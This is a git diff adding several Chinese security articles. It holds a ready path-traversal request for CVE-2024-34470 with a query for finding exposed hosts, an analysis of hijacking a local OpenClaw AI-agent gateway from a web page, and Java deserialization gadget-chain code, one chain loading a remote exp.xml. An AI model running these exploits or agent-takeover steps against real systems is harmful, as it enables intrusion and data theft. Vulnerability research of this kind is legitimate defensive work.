+## 📖 使用指南 + +① **准备工作** +：克隆仓库并安装Python 3与PyQt5依赖，确保系统已安装Nmap（Windows需下载安装包，Linux通过包管理器安装）。 + +② **核心操作** +：运行python main.py启动界面，输入目标IP或网段，选择扫描类型（默认/服务/系统/漏洞），配置端口范围后点击开始。 + +③ **结果查看** +：实时查看扫描进度与结果，使用"资产监控"标签页设置定时任务，通过"资产对比"功能分析历史变化，导出HTML报告。 + +## 📖 项目地址 + +``` +https://github.com/vam876/FastNmap?tab=readme-ov-file +``` +## 💻 技术交流与学习 + +     +如果师傅们想要第一时间获取到 +**最新的威胁情报** +，可以添加下面我创建的 +**钉钉漏洞威胁情报群** +，便于师傅们可以及时获取最新的 +**IOC** +。 + +    如果师傅们想要获取网络安全相关知识内容，可以添加下面我创建的 +**网络安全全栈知识库** +，便于师傅们的学习和使用： + +覆盖渗透、安服、运营、代码审计、内网、移动、应急、工控、AI/LLM、数据、业务、情报、黑灰产、SRC、溯源、钓鱼、区块链等  方向， +**内容还在持续整理中......** +。 + +
img
img
img
+### 推荐阅读 + + +✦ ✦ ✦ + +
渗透测试人员必备武器库：子域名爆破、漏洞扫描、内网渗透、工控安全工具全收录
AI驱动的自动化红队编排框架(AutoRedTeam-Orchestrator)跨平台支持，集成 130+ 安全工具与 2000+ Payload
JS逆向必备：这款插件能Bypass Debugger、Hook CryptoJS、抓取路由
上传代码即审计：AI 驱动的自动化漏洞挖掘与 POC 验证平台
AI 原生安全测试平台(CyberStrikeAI)
多Agent智能协作+40+工具调用：基于大模型的端到端自动化漏洞挖掘与验证系统
基于DeepSeek的代码审计工具 (Ai-SAST-tool.xjar)
基于AI的自主渗透测试平台 
+ +✦ ✦ ✦ + + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJnAqueibZX8s1IJDIlA8UJmu3uWsZUxqahoolciaqq65A30ia93jCyEwTLA/640?wx_fmt=gif&from=appmsg "") + +**点分享** + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJniaq4LXsS43znk18DicsT6LtgMylx4w69DNNhsia1nyw4qEtEFnADmSLPg/640?wx_fmt=gif&from=appmsg "") + +**点收藏** + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJnev2xbu5ega5oFianDp0DBuVwibRZ8Ro1BGp4oxv0JOhDibNQzlSsku9ng/640?wx_fmt=gif&from=appmsg "") + +**点在看** + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJnwVncsEYvPhsCdoMYkI6PAHJQq4tEiaK3fcm3HGLialEMuMwKnnwwSibyA/640?wx_fmt=gif&from=appmsg "") + +**点点赞** + diff --git a/doc/2026-03/HSC Mailinspector 路径遍历漏洞(CVE-2024-34470) 附POC.md b/doc/2026-03/HSC Mailinspector 路径遍历漏洞(CVE-2024-34470) 附POC.md new file mode 100644 index 00000000..d8eca372 --- /dev/null +++ b/doc/2026-03/HSC Mailinspector 路径遍历漏洞(CVE-2024-34470) 附POC.md @@ -0,0 +1,109 @@ +# HSC Mailinspector 路径遍历漏洞(CVE-2024-34470) 附POC +原创 安服仔 + 安服仔 北风漏洞复现文库 2026-03-03 03:00 + +# 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +# +# + +01 + +— + +漏洞名称 +# HSC Mailinspector 路径遍历漏洞 +# + +02 + +— + +影响版本 + +**影响范围** +：HSC Mailinspector 5.2.17-3至5.2.18版本 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/lhp5P0lJibS1CyaI4AovIma7k6NLRRicOpqFUhkLYZroiam1rvJzls7akP7pf9xKnAHqCrib3HTW7oMdoWUIIHOXdu6UcSO0axfCKatySwicJWia4/640?wx_fmt=png&from=appmsg "") + + +03 + +— + +漏洞简介 + +HSC Mailinspector是 +一 +款远程电子邮件检 +查工具，主要功能是支持POP3/IMAP4协 +议，允许用户远程扫描、浏览、 +过滤垃圾邮件、编辑及删除邮 +件等操作，无需直接登录邮箱即可管理邮件 +。 +HSC Mailinspector +接口存在 +路径遍历 +漏洞, +攻击者可通过构造恶意路径，绕过安全检查，读取服务器上的任意文件（如/etc/passwd +），导致敏感信息泄露。 + +04 + +— + +资产测绘 +``` +body="mailinspector/public" +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/lhp5P0lJibS39pk9p3Xy874jTx9gapxvpzTAEiaym8oKCfNEUBTNSZhTdriaASZ2rf2zribTSL69LhJX340jy4jm8AWyWa0Gn4ibrBjWicLpubSpI/640?wx_fmt=png&from=appmsg "") + + + +05 + +— + +漏洞复现 + +POC +``` +GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1 +Host: 127.0.0.1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: close +Cookie: PHPSESSID=mge2krjj3v8sbm97lkv4cfj2n6 +Upgrade-Insecure-Requests: 1 +Sec-Fetch-Dest: document +Sec-Fetch-Mode: navigate +Sec-Fetch-Site: none +Sec-Fetch-User: ?1 +Priority: u=0, i +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/lhp5P0lJibS2ZQo3pMoVJKibaicdgwA9cp2IvicicgIUgWUTkyV7PTQdIeic83LhfjgI3zCdMYe47Ez8EpbKFga0CL56z14MdGtriaRWmCOiaM3mu84/640?wx_fmt=png&from=appmsg "") + + +06 + +— + +修复建议 + +升级至最新版本 + +07 + +— + +往期回顾 + + + + + + diff --git a/doc/2026-03/LLM驱动的多智能体协同漏洞挖掘与PoC验证框架.md b/doc/2026-03/LLM驱动的多智能体协同漏洞挖掘与PoC验证框架.md new file mode 100644 index 00000000..5fed4199 --- /dev/null +++ b/doc/2026-03/LLM驱动的多智能体协同漏洞挖掘与PoC验证框架.md @@ -0,0 +1,126 @@ +# LLM驱动的多智能体协同漏洞挖掘与PoC验证框架 +原创 0x八月 + 0x八月 0x八月 2026-03-03 03:59 + +# LLM驱动的多智能体协同漏洞挖掘与PoC验证框架 + + +⚠️ + +    请勿利用文章内的相关技术从事 +**非法渗透测试** +，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。 +**工具和内容均来自网络，仅做学习和记录使用，安全性自测，如有侵权请联系删除。** + +⚠️注意：现在只对常读和星标的公众号才展示大图推送，建议大家把" +**0x八月** +"设为星标⭐️"否则可能就看不到了啦 +, +点击下方卡片关注我哦！ + +**💡项目地址在文章底部哦！** + + + + +## 📖 项目/工具简介 + +    Strix是开源AI安全代理框架，**通过多代理协作实现自动化漏洞挖掘与验证** +，适用于开发团队安全测试与CI/CD集成。 +## 🚀 一句话优势 + +    基于LLM的多代理架构自动生成PoC验证漏洞 +，减少静态分析误报与人工渗透测试成本。 +## 📋 核心能力速览 + +
功能名称
一句话说明
AI代理编排
多代理协作执行分布式安全测试任务
动态代码分析
Docker沙箱内运行目标代码验证漏洞
PoC生成验证
自动构造概念验证排除误报
浏览器自动化
多标签页测试XSS与认证流程
CI/CD集成
GitHub Actions流水线自动化安全检测
+## 📸 运行截图 + +![](https://mmbiz.qpic.cn/mmbiz_png/L9cic5ql9ODzJmwYlMbKy3938jkJo4WWHj7lduiccbfLFia3uv3ianlbnplibeS0UIb5ZmmwMdGRrO500VEp3ts24h8KQ2MUHovR62I308jpX0wA/640?wx_fmt=png&from=appmsg "") +## ✨ 核心亮点 +1. 1 +多代理协作验证机制： +    Strix采用分布式代理架构，针对不同攻击面和漏洞类型分配专用代理。代理之间共享发现并动态协调，通过实际构造PoC验证漏洞而非仅依赖静态规则匹配 +，将验证环节从 hours 缩短至 minutes，降低传统SAST工具的高误报率。 + +1. 2 +动态运行时沙箱检测： +    在Docker沙箱中运行目标应用，结合HTTP代理、浏览器自动化和交互式终端，动态触发业务逻辑漏洞 +。支持IDOR、竞争条件等需要上下文交互才能发现的漏洞类型，弥补纯源码扫描在业务逻辑检测上的盲区。 + +1. 3 +开发者友好集成： +    提供CLI工具与GitHub Actions组件，支持在Pull Request阶段触发快速扫描。通过--instruction +参数允许开发者指定测试范围与认证凭据，扫描结果包含可操作的修复建议与一键生成PR的自动修复功能，适配现有DevOps workflow。 + +## 🛠️ 技术优势 + +
技术/特性
说明
优势
LLM多提供商支持
支持OpenAI、Anthropic、Google等主流模型
可按需求选择性能与成本的平衡点
Docker沙箱隔离
动态分析环境容器化
安全执行不受信代码，避免污染宿主机
Playwright浏览器引擎
现代Web应用自动化测试
支持复杂SPA应用与多标签页交互
LiteLLM统一接口
多模型提供商标准化接入
简化配置，便于切换不同AI后端
无头模式支持
-n
参数非交互式运行
适配CI/CD自动化流水线，失败时非零退出
+## 📖 使用指南 + +① **准备工作** +：安装Docker并配置LLM API密钥（export LLM_API_KEY +与export STRIX_LLM +），通过curl -sSL https://strix.ai/install | bash +安装CLI。 + +② **核心操作** +：执行strix --target ./app-directory +扫描本地代码，或strix --target https://your-app.com +进行黑盒测试；CI/CD场景使用strix -n -t ./ --scan-mode quick +启用无头模式。 + +③ **结果查看** +：扫描完成后查看终端输出的漏洞报告（包含PoC与复现步骤），或通过Strix平台查看可视化结果与自动修复建议，严重漏洞会以非零状态码退出供流水线捕获。 + +## 📖 项目地址 + +``` +https://github.com/usestrix/strix?tab=readme-ov-file +``` +## 💻 技术交流与学习 + +     +如果师傅们想要第一时间获取到 +**最新的威胁情报** +，可以添加下面我创建的 +**钉钉漏洞威胁情报群** +，便于师傅们可以及时获取最新的 +**IOC** +。 + +    如果师傅们想要获取网络安全相关知识内容，可以添加下面我创建的 +**网络安全全栈知识库** +，便于师傅们的学习和使用： + +覆盖渗透、安服、运营、代码审计、内网、移动、应急、工控、AI/LLM、数据、业务、情报、黑灰产、SRC、溯源、钓鱼、区块链等  方向， +**内容还在持续整理中......** +。 + +
img
img
img
+### 推荐阅读 + + +✦ ✦ ✦ + +
渗透测试人员必备武器库：子域名爆破、漏洞扫描、内网渗透、工控安全工具全收录
AI驱动的自动化红队编排框架(AutoRedTeam-Orchestrator)跨平台支持，集成 130+ 安全工具与 2000+ Payload
JS逆向必备：这款插件能Bypass Debugger、Hook CryptoJS、抓取路由
上传代码即审计：AI 驱动的自动化漏洞挖掘与 POC 验证平台
AI 原生安全测试平台(CyberStrikeAI)
多Agent智能协作+40+工具调用：基于大模型的端到端自动化漏洞挖掘与验证系统
基于DeepSeek的代码审计工具 (Ai-SAST-tool.xjar)
基于AI的自主渗透测试平台 
+ +✦ ✦ ✦ + + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJnAqueibZX8s1IJDIlA8UJmu3uWsZUxqahoolciaqq65A30ia93jCyEwTLA/640?wx_fmt=gif&from=appmsg "") + +**点分享** + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJniaq4LXsS43znk18DicsT6LtgMylx4w69DNNhsia1nyw4qEtEFnADmSLPg/640?wx_fmt=gif&from=appmsg "") + +**点收藏** + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJnev2xbu5ega5oFianDp0DBuVwibRZ8Ro1BGp4oxv0JOhDibNQzlSsku9ng/640?wx_fmt=gif&from=appmsg "") + +**点在看** + +![](https://mmbiz.qpic.cn/mmbiz_gif/AXRefkPRWsEZqurn2l5WTaTjyicrUtIJnwVncsEYvPhsCdoMYkI6PAHJQq4tEiaK3fcm3HGLialEMuMwKnnwwSibyA/640?wx_fmt=gif&from=appmsg "") + +**点点赞** + diff --git a/doc/2026-03/OpenClaw高危漏洞ClawJacked深度解析：当浏览器成为内网渗透的跳板.md b/doc/2026-03/OpenClaw高危漏洞ClawJacked深度解析：当浏览器成为内网渗透的跳板.md new file mode 100644 index 00000000..de080703 --- /dev/null +++ b/doc/2026-03/OpenClaw高危漏洞ClawJacked深度解析：当浏览器成为内网渗透的跳板.md @@ -0,0 +1,269 @@ +# OpenClaw高危漏洞ClawJacked深度解析：当浏览器成为内网渗透的跳板 + 黑白之道 2026-03-03 01:43 + +![](https://mmbiz.qpic.cn/mmbiz_gif/3xxicXNlTXLicwgPqvK8QgwnCr09iaSllrsXJLMkThiaHibEntZKkJiaicEd4ibWQxyn3gtAWbyGqtHVb0qqsHFC9jW3oQ/640?wx_fmt=gif "") + +> **导语** +：一个未配置速率限制的WebSocket端点，一次静默的设备注册，竟能让恶意网站获得你本地AI Agent的完全控制权。这不是科幻，而是OpenClaw曝光的高危漏洞ClawJacked的真实攻击图景。当AI Agent成为企业基础设施的核心组件，它们的安全边界究竟在哪里？ + +## 一、漏洞原理：本地信任陷阱的致命漏洞 + +ClawJacked漏洞的核心在于**本地信任模型的设计缺陷** +。让我们拆解这个攻击链条： +### 1.1 WebSocket跨域访问的"灰色地带" + +OpenClaw网关默认在本地的TCP端口（如18789）运行WebSocket服务，绑定到localhost +并设置密码保护。开发者普遍误认为"localhost+密码"的双重保护已足够安全。然而，他们忽略了一个关键事实：**浏览器的同源策略（SOP）并不限制WebSocket连接的目标** +。 + +正如安全研究员Oasis Security所指出的："任何你访问的网站都可以向你的localhost建立WebSocket连接。与常规HTTP请求不同，浏览器不会阻止这些跨域连接。"这意味着，当你在浏览器中打开一个看似无害的网页时，页面中嵌入的JavaScript代码可以静默尝试连接你的本地OpenClaw网关。 +### 1.2 暴力破解的温床：缺失的速率限制 + +ClawJacked的第二个关键缺陷是**本地连接缺乏速率限制机制** +。通常情况下，远程服务的认证端点会实施严格的速率限制以防止暴力破解攻击。但在ClawJacked场景中，攻击者的恶意脚本可以在短时间内发送大量密码猜测请求，而网关对此毫无防备。 + +这使得攻击者可以使用字典攻击或穷举法快速尝试常见密码组合，直到成功认证。 +### 1.3 自动设备注册的致命信任 + +成功认证后，攻击面临的最大障碍通常是设备配对确认——正常情况下，新设备连接时用户需要手动确认。然而，OpenClaw对来自localhost +的连接给予了**过度信任** +： +- 新设备自动注册为受信任设备 + +- 无需用户提示或确认 + +- 直接获得管理员级别的权限 + +Oasis Security的研究揭示了这一设计的危险之处："这种错位的信任带来了真实的后果。网关为本地连接放宽了多项安全机制，包括静默批准新设备注册而不提示用户。" +## 二、攻击场景：从浏览器到内网的渗透链条 +### 场景一：水坑攻击（Watering Hole） + +攻击者可以针对特定开发者群体（如AI工程师）常访问的技术博客、论坛或文档站点植入恶意代码。当受害者在日常工作中访问这些被攻陷的网站时，攻击在后台静默执行： +1. 恶意JavaScript加载并检测目标是否运行OpenClaw + +1. 自动发起WebSocket连接到localhost:18789 + +1. 启动暴力破解循环尝试常见密码 + +1. 成功认证后，自动注册为受信任设备 + +1. 向攻击者的C2服务器报告成功入侵 + +整个攻击过程用户毫无感知，直到敏感数据泄露或被进一步横向移动。 +### 场景二：供应链攻击的延伸 + +针对OpenClaw生态的供应链攻击已有先例——Trend Micro近期披露的攻击显示，恶意技能被上传至ClawHub市场，用于传播macOS信息窃取器Atomic Stealer。ClawJacked漏洞可以与这类攻击形成组合拳： +1. 开发者下载并安装被植入后门的技能 + +1. 技能代码探测本地OpenClaw配置 + +1. 一旦发现ClawJacked漏洞存在，立即利用 + +1. 获得持久化访问通道 + +### 场景三：APT级别的定向攻击 + +对于具有高级的持续威胁（APT）组织而言，ClawJacked提供了一个理想的初始访问向量： +- 通过鱼叉式钓鱼诱导目标访问恶意网站 + +- 利用ClawJacked获得OpenClaw网关控制 + +- 通过AI Agent枚举连接的节点和服务 + +- 将AI Agent转化为内网横向移动的跳板 + +- 利用Agent的既有权限访问企业敏感数据 + +## 三、影响范围：远超单个终端的安全风险评估 +### 3.1 受影响版本与修复状态 + +OpenClaw官方已在**2026.2.25版本** +中修复此漏洞，响应时间不到24小时。但问题的严峻性在于： +- 大量开发者可能未及时更新 + +- 某些生产环境可能因稳定性考虑延迟升级 + +- 企业内部网关可能由IT部门统一部署，更新周期较长 + +### 3.2 复合风险的累积效应 + +ClawJacked并非孤立事件。近期OpenClaw面临的漏洞风暴令人担忧： +
漏洞类型
CVE编号
影响
修复版本
远程代码执行
CVE-2026-25593
高
2026.1.20
命令注入
CVE-2026-24763
高
2026.1.29
SSRF
CVE-2026-25157
中
2026.2.1
认证绕过
CVE-2026-25475
高
2026.2.2
日志投毒
GHSA-g27f-9qjv-22pm
中
2026.2.13
ClawJacked
待分配
高2026.2.25
+这一连串的漏洞暴露了一个根本问题：**AI Agent框架的安全模型与传统软件有本质区别，但安全评估方法未能同步演进** +。 +### 3.3 企业级影响的多米诺效应 + +OpenClaw的AI Agent通常被赋予广泛的系统访问权限： +- 集成Git仓库、CI/CD管道 + +- 连接企业通讯工具（Slack、Discord、邮件） + +- 访问数据库、API端点、云平台 + +- 执行代码、部署服务、管理基础设施 + +一旦被攻破，攻击者可以利用Agent的既有权限实现： +- **数据泄露** +：窃取源代码、API密钥、客户数据 + +- **供应链污染** +：在构建过程中植入后门 + +- **权限提升** +：利用Agent凭证横向移动 + +- **持久化控制** +：修改Agent配置或安装恶意技能 + +Endor Labs的研究一针见血地指出："每个集成服务都在扩大攻击范围（blast radius），可以被转化为武器。" + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/nGzNudUIJ6Nx04DBFicyic8uUjiaiauib3w8GSyibAyERVFw7GHFhqQQzcKsUIfN1yBB1Fa3d92iabCwBSIKMmaia3zXEwdhibXPtB2EibicRre7cQM0rI/640?wx_fmt=jpeg&from=appmsg "") +## 四、修复建议与技术防御措施 +### 4.1 紧急响应措施 + +**对于OpenClaw用户** +： +1. **立即升级** +到2026.2.25或更高版本 + +1. 清理**已授权设备列表** +，检查是否存在异常注册 + +1. 启用**双因素认证** +（如果可用） + +1. 修改网关密码为**强随机字符串** +（建议使用密码管理器生成） + +**对于企业安全团队** +： +1. 评估内部OpenClaw实例的暴露面 + +1. 在网络层实施**出向流量监控** +，检测异常的WebSocket连接 + +1. 审查**非人类身份（NHIs）**的治理策略和访问权限 + +1. 建立**AI Agent安全审计** +的常规流程 + +### 4.2 纵深防御策略 + +**网络层防护** +： +- 使用防火墙规则限制OpenClaw端口的访问来源 + +- 考虑将OpenClaw网关部署在隔离的网络段 + +- 监控localhost +端口的异常连接模式 + +**运行时防护** +： +``` +// 示例：浏览器层面的安全增强// 使用CSP限制WebSocket连接的源Content-Security-Policy: connect-src 'self'https:; +``` +- 在浏览器扩展或企业策略中限制对localhost +端口的WebSocket访问 + +- 使用本地代理前置请求，实施速率限制和异常检测 + +**配置强化** +： +``` +# OpenClaw配置建议gateway:rate_limit:enabled:truerequests_per_minute:10max_failed_attempts:5block_duration:300sdevice_registration:require_explicit_approval:trueauto_approve_localhost:false# 关键参数audit_logging:level:debugdestination:secure_log_server +``` +### 4.3 长期安全治理框架 + +**针对AI Agent特有风险的治理** +： +1. **最小权限原则** +：授予Agent完成特定任务所需的最小权限集 + +1. **零信任架构** +：即使来自localhost +的请求也需要验证 + +1. **持续监控** +：实施Agent行为的基线分析和异常检测 + +1. **技能安全审查** +：建立ClawHub技能的安全审计流程 + +1. **应急响应计划** +：制定Agent被入侵后的快速隔离和恢复方案 + +**安全开发生命周期（SDL）改进** +： +- 将AI Agent框架纳入漏洞管理计划 + +- 定期进行AI特定的安全评估（如提示注入测试） + +- 建立Agent行为的可观测性和可审计性 + +## 五、行业反思：AI原生时代的安全范式转移 + +ClawJacked漏洞揭示了一个更深层次的命题：**当我们将越来越多的系统权限委托给AI Agent时，我们是否已经充分理解了新的攻击面？** + +传统的安全边界（网络分段、防火墙、VPN）在AI Agent时代面临重构。一个被赋予跨系统访问权限的Agent，本身就是一个高价值的攻击目标。Bitsight和NeuralTrust的研究都指出，暴露在互联网上的OpenClaw实例显著扩大了攻击面。 + +Oasis Security的发现尤其值得警惕：**漏洞存在于核心系统本身，而非插件、市场或用户安装的扩展** +。这意味着即使是最小化的默认安装也存在被攻击的风险。 + +在AI native时代，安全团队需要重新审视： +- **信任边界** +的定义：本地是否等于可信？ + +- **身份管理** +的复杂性：如何管理非人类身份的生命周期？ + +- **检测能力** +的演进：如何识别AI Agent层面的异常行为？ + +- **响应速度** +的要求：AI驱动的攻击链条是否要求自动化响应？ + +ClawJacked的24小时修复窗口展示了开源社区的反应能力，但社区修复并不等于用户安全。真正的安全在于**将AI Agent视为关键基础设施组件** +，实施与之相称的安全投资和治理。 + +**参考来源** +： +- Oasis Security Research Report: https://www.oasis.security/blog/openclaw-vulnerability[1] + +- OpenClaw Security Advisory: https://github.com/openclaw/openclaw/releases/tag/2026.2.25[2] + +- The Hacker News Original Coverage + +本文仅供技术交流和安全教育目的，请勿用于非法用途。相关漏洞已修复，建议读者及时更新系统。 +### 引用链接 + +[1] +https://www.oasis.security/blog/openclaw-vulnerability + +[2] +https://github.com/openclaw/openclaw/releases/tag/2026.2.25 + + +精彩推荐 + +# 乘风破浪|华盟信安线下网络安全就业班招生中！ + + + +[](http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650575781&idx=2&sn=ea0334807d87faa0c2b30770b0fa710d&chksm=83bdf641b4ca7f5774129396e8e916645b7aa7e2e2744984d724ca0019e913b491107e1d6e29&scene=21#wechat_redirect) + + +# 【Web精英班·开班】HW加油站，快来充电！ + + +‍[](http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650594891&idx=1&sn=b2c5659bb6bce6703f282e8acce3d7cb&chksm=83bdbbafb4ca32b9044716aec713576156968a5753fd3a3d6913951a8e2a7e968715adea1ddc&scene=21#wechat_redirect) + + +‍ +# 始于猎艳，终于诈骗！带你了解“约炮”APP + +[](http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650575222&idx=1&sn=ce9ab9d633804f2a0862f1771172c26a&chksm=83bdf492b4ca7d843d508982b4550e289055c3181708d9f02bf3c797821cc1d0d8652a0d5535&scene=21#wechat_redirect) + +**‍** + + diff --git a/doc/2026-03/springboot环境下的写文件RCE——so加载篇.md b/doc/2026-03/springboot环境下的写文件RCE——so加载篇.md new file mode 100644 index 00000000..a6fac3b5 --- /dev/null +++ b/doc/2026-03/springboot环境下的写文件RCE——so加载篇.md @@ -0,0 +1,372 @@ +# springboot环境下的写文件RCE——so加载篇 +原创 珂字辈 + 珂字辈 珂技知识分享 2026-03-03 07:21 + +[springboot环境下的写文件RCE](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247487184&idx=1&sn=834e20b19fcffcda9a3357c7621d7bcc&scene=21#wechat_redirect) + + +[springboot环境下的写文件RCE——so劫持篇](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247488145&idx=1&sn=5b8e5d4e18b06aaa9bffe49a4963e95a&scene=21#wechat_redirect) + + + +1，如何触发加载so？ + + +前文介绍了很多可以劫持的so，如何触发呢？绝大部分System.loadLibrary()都写在静态代码块，只需要简单Class.forName()就行。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3MF7dJYF5zcPedNbicPShgAzYxgTrxbVxnRrwXRAjHEMliclabYA13D01NGNOO3en1YiajiaQPVn9NS6e420AnxaJFkcMWIhDOMBxM/640?wx_fmt=png&from=appmsg "") + +forName()第二个参数决定了是否加载静态代码块，劫持so只需要第二个参数为true就行，好消息是常用的写法基本都为true。 +``` +//触发static +Class.forName("test.User");   +Class.forName("test.User", true, Thread.currentThread().getContextClassLoader()); +new test.User(); +Thread.currentThread().getContextClassLoader().loadClass("test.User").newInstance(); +//不触发static +Class.forName("test.User", false, Thread.currentThread().getContextClassLoader()); +Thread.currentThread().getContextClassLoader().loadClass("test.User"); +``` + +第三个参数是ClassLoader，它决定了从哪儿取类，对于tomcat-docbase手法比较重要，必须要用Thread.currentThread().getContextClassLoader()，单String的Class.forName("xxx")是不行的。 + + +所以我们的目标就是尽量找既可以so劫持，又可以tomcat-docbase类加载的触发链，常见入口是原生反序列化链和fastjson反序列化链。 + + +2，原生反序列化链 + +对于原生反序列化链触发so劫持来说，是比较容易的，因为部分so的相关类，本身就实现了Serializable，最典型的就是awt/swing触发System.loadLibrary("awt")。随便一个相关类都能触发java.awt.Component的静态代码，进而Toolkit.loadLibraries()->System.loadLibrary("awt") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3NL2xAKoTJDFQJ1Co2WxcAXe6z0Nfv8XH4vgB2RAxdqHiag9Wh5JVQvqcaUibGicP1HhekIicBMeUPpMiadIpjShXVV9wpaIewVbCM4/640?wx_fmt=png&from=appmsg "") + +那么问题来了Class本身也实现了Serializable，我直接反序列化Class行不行呢？还真不行，可以看到第二个参数刚好为false。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3P8QjqNkStKBjy86KnTjWnBlzKFqER7WOOR0AfPkovYYtpJZCknLppiaouOyN3fIUC47ILtZMRVicxynicDiaxokiayGwMTMcgLEicTM/640?wx_fmt=png&from=appmsg "") + + +所以需要找一些可以触发任意类加载甚至实例化的链，很容易从传统反序列化链中找到。比如c3p0链。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3NvXiaYkG5LgHZp3tRLUYv8icqrtWVJeERmoY0CHhib1HhtvYFibciarIZqgWPpD6v8jYaA14ZUAO0icPTskOZ0DZmymCBH4Xtp4SZKI/640?wx_fmt=png&from=appmsg "") + +以及getter+jdbc中的DriverClassName实例化，例子为jackson+DruidXADataSource + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3OAeRIxqX37POzic2IILAAibXxj3XHe3PHDO78iaX0ZicryUg04ic8X2ZDmRLRvhoU3icOXUyKPvNPCzyocicn0ePNHBNxMnq5Rr0mvdc/640?wx_fmt=png&from=appmsg "") + +当然，这些主流链自己就能RCE了，还费这劲搞什么劫持so，我们需要找到一些纯粹的 +ClassForName链或者 +newInstance链。 + +3，EventListenerList(推荐) + +作为新的toString()链常客，很早就注意到它的readObject()可以触发Class.forName()了。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3OxsmfBaZxPaqS0XFDVQWUl14NhvKStibhxLse3Aic1ctHmEVyNvhiaH6rt4kvuGX5WicibG609guib4hP1eBEhb6VQB3xiaedrqiciaHYg/640?wx_fmt=png&from=appmsg "") + +``` +    String classname = "Tomcat678910cmdecho"; +    Class clazz = null; +    try { +        clazz = Class.forName(classname); +    } catch (Exception e) { +        ClassPool pool = ClassPool.getDefault(); +        CtClass ctClass = pool.makeClass(classname); +        clazz = ctClass.toClass(); +    } +     +    EventListenerList eventListenerList = new EventListenerList(); +    UndoManager undoManager = new UndoManager(); +    Reflections.setFieldValue(eventListenerList, "listenerList", new Object[]{clazz, undoManager}); + +    ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser")); +    oos2.writeObject(eventListenerList); +    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); +    ois.readObject(); +``` + + +4，InternationalFormatter(推荐) + +[遗憾的InternationalFormatter反序列化链](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247488091&idx=1&sn=cfaab21869913eb9a314918397fcae9f&scene=21#wechat_redirect) + + +这个链作为RCE不完整，可以实例化任意类，传入的单String参数却不受控制。这不刚好是一个完美的 +newInstance链吗？没想到吧，这篇文章就已经有伏笔了。 + +当然，这些都是超冷门项目，这种刻舟求剑的东西似乎除了CTF没什么实际意义(真的如此吗？)。 +``` +        Class clazz = ClassPathXmlApplicationContext.class; +        String arg = "http://127.0.0.1:5667/exp.xml"; + +        InternationalFormatter internationalFormatter = new InternationalFormatter(); +        DefaultFormatter defaultFormatter = new DefaultFormatter(); +        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter); +        jFormattedTextField.setValue(arg); +         +        MessageFormat format = new MessageFormat("{0}"); +        internationalFormatter.setFormat(format); +         +        Reflections.setFieldValue(internationalFormatter, "ftf", jFormattedTextField); +        Reflections.setFieldValue(internationalFormatter, "allowsInvalid", false); +        Reflections.setFieldValue(internationalFormatter, "valueClass", clazz); +         +        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); +        oos.writeObject(internationalFormatter); +        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); +        ois.readObject(); +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3PBVy4ib0UVWKQDJO0T61Hjw83ZrWCgHfnfrC1fZOIGYKQYLN0SliaTGmibKiajSWQQd0OFTOTWaaHSv0EIpnrBU3RVJTEX0sCDfYs/640?wx_fmt=png&from=appmsg "") + +5，UIManager + +codeql找一下看还有没有其他的 +``` +class ReadObject extends Sink{ +    ReadObject(){ +        this.hasName("readObject") and  +        this.isPrivate() and  +        this.getReturnType() instanceof VoidType +         +    } +} + +class ClassLoader extends Source { +    ClassLoader() { +        this.hasName("getContextClassLoader") +    } +} + +class NewInstance extends Source { +    NewInstance() { +        this.getACallee().hasName("newInstance") +    } +} + +MethodAccess seekSink(Method sourceMethod){ +    exists( +        MethodAccess ma, Method method| +        (ma.getEnclosingStmt() = sourceMethod.getBody().getAChild*() and +        method = ma.getMethod()) | +        if method instanceof ClassLoader +        then result = ma +        else result = seekSink(method) +    ) +} + +from ReadObject sink +select 